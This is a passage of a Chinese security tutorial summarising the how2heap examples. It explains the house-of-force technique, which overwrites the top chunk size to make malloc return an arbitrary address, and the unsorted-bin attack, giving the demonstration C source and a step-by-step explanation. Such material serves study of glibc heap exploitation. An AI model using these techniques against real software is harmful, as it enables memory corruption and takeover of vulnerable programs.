现在模拟一个漏洞,改写top chunk的头部,top chunk的起始地址为:

intptr_t*ptr_top=(intptr_t*)((char*)p1+real_size);

用一个很大的值来改写top chunk的size,以免等一下申请内存的时候使用mmap来分配:

ptr_top[0]=-1;

改写之后top chunk的size=0xFFFFFFFF。

现在top chunk变得非常大,我们可以malloc一个在此范围内的任何大小的内存而不用调用mmap。

接下来malloc一个chunk,使得这个chunk刚好分配到我们想控制的那块区域为止,然后我们就可以malloc出我们想控制的区域了。

比如:我们想要改写的变量位置在0x602060,top chunk 的位置在0x127b528,再算上head的大小,我们将要malloc 0xffffffffff386b28 个字节。

新申请的这个chunk开始于原来top chunk所处的位置。

而此时top chunk已经处在0x602050了,之后再malloc就会返回一个包含我们想要改写的变量的chunk了。

这个例程和它的名字一样暴力,直接对top chunk下手,想法很大胆的一种攻击方式。

首先是修改top chunk的size字段为-1(在x64机器上实际大小就为0xFFFFFFFF)

然后malloc一个很大的值Large,L的计算就是用你想控制的地址的值Ctrl减去top地址的值Top,那么Large = Ctrl - Top 。

malloc(Large);

用malloc申请了这个chunk之后top chunk是这样的:


【技术分享】how2heap总结-下

这个技巧的利用效果就是,我们可以用malloc返回一个heap区域之前的地址。


0x09 unsorted_bin_attack

源码:

#include<stdio.h> #include<stdlib.h> intmain(){ printf("Thisfiledemonstratesunsortedbinattackbywritealargeunsignedlongvalueintostack\n"); printf("Inpractice,unsortedbinattackisgenerallypreparedforfurtherattacks,suchasrewritingthe" "globalvariableglobal_max_fastinlibcforfurtherfastbinattack\n\n"); unsignedlongstack_var=0; printf("Let'sfirstlookatthetargetwewanttorewriteonstack:\n"); printf("%p:%ld\n\n",&stack_var,stack_var); unsignedlong*p=malloc(400); printf("Now,weallocatefirstnormalchunkontheheapat:%p\n",p); printf("Andallocateanothernormalchunkinordertoavoidconsolidatingthetopchunkwith" "thefirstoneduringthefree()\n\n"); malloc(500); free(p); printf("Wefreethefirstchunknowanditwillbeinsertedintheunsortedbinwithitsbkpointer" "pointto%p\n",(void*)p[1]); //------------VULNERABILITY----------- p[1]=(unsignedlong)(&stack_var-2); printf("Nowemulatingavulnerabilitythatcanoverwritethevictim->bkpointer\n"); printf("Andwewriteitwiththetargetaddress-16(in32-bitsmachine,itshouldbetargetaddress-8):%p\n\n",(void*)p[1]); //------------------------------------ malloc(400); printf("Let'smallocagaintogetthechunkwejustfree.Duringthistime,targetshouldhasalreadybeen" "rewrite:\n"); printf("%p:%p\n",&stack_var,(void*)stack_var); }

翻译:

这个例程通过unsortedbin攻击往栈中写入一个unsigned long的值。

在实战中,unsorted bin 攻击通常是为更进一步的攻击做准备的。

比如,我们在栈上有一个栈单元stack_var需要被改写

unsignedlongstack_var=0;

然后正常地分配一个chunk。

unsignedlong*p=malloc(400);

再分配一个,防止前一个chunk在free的时候被合并了。

malloc(500);

然后

free(p);

之后p会被插入到unsortedbin链表中,而且它的fd和bk都指向unsortedbin的head。

接着我们模拟一个漏洞攻击改写p的bk指针:

p[1]=(unsignedlong)(&stack_var-2);

然后用malloc出发unsortedbin的unlink:

malloc(400);

然后stack_var的值就被改写成了unsortedbin的head的地址了。

这也算是unlink的另一种用法,上一篇的总结中,unsafe_unlink通过unlink来直接控制地址,这里则是通过unlink来泄漏libc的信息,来进行进一步的攻击。流程也较为简单。

和house_of_lore操作有点像,也是通过修改victim的bk字段,不过我们做这个的主要目的不是返回一个可控的地址,而是将libc的信息写到了我们可控的区域。


0x0A 写在最后

个人水平有限,加上总结的时候有一些不太重要的点被我选择性地忽略了,如果有疑问请在下面留言。

最后一个例程house_of_einherjar在新版glibc已经不能用了,所以不做介绍。



【技术分享】how2heap总结-下
【技术分享】how2heap总结-下
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4383.html

Viewing all articles
Browse latest Browse all 12749